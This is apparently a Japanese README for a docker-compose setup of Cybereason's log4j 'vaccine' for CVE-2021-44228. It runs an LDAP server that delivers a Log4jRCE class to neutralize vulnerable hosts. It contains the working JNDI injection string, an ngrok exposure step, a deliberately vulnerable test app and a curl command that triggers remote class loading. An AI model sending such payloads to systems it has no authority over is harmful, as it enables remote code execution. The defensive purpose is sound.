
docker compose ソリューション - log4j2の脆弱性 CVE-2021-44228 に対するワクチン環境を実行する
Cyberreason が提供する log4j ワクチンをコンテナ化して実行する方法
このリポジトリをクローンします:
git clone https://github.com/jeffbryner/log4j-docker-vaccine.git
containers.env ファイルを編集し、ターゲットがアクセス可能な正確なプライベートIPまたはパブリックIP/DNSを設定します。デフォルトのエントリはおそらく機能しません!
コンテナをビルドして実行します:
docker-compose -f docker-compose.yml -p vaccine up
これで、脆弱な log4j インスタンスを無害化するための Log4jRCE クラスを配信する LDAP サーバーが起動します。
必要に応じて、ngrok を使用してこれをインターネットに公開することもできます。
ngrok tcp 1389
悪名高い jndi 入力文字列を使用して、脆弱な log4j インスタンスをこのサーバーに送信できます:
${jndi:ldap://<ngrokurlgoeshere>:1389/a}
意図的に脆弱なバージョンの log4j がコンテナで利用可能です:
手順に従って起動し、テストに使用できます:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
そして、以下のコマンドで無害化をトリガーします:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-ip-address-or-dns-name:1389/a'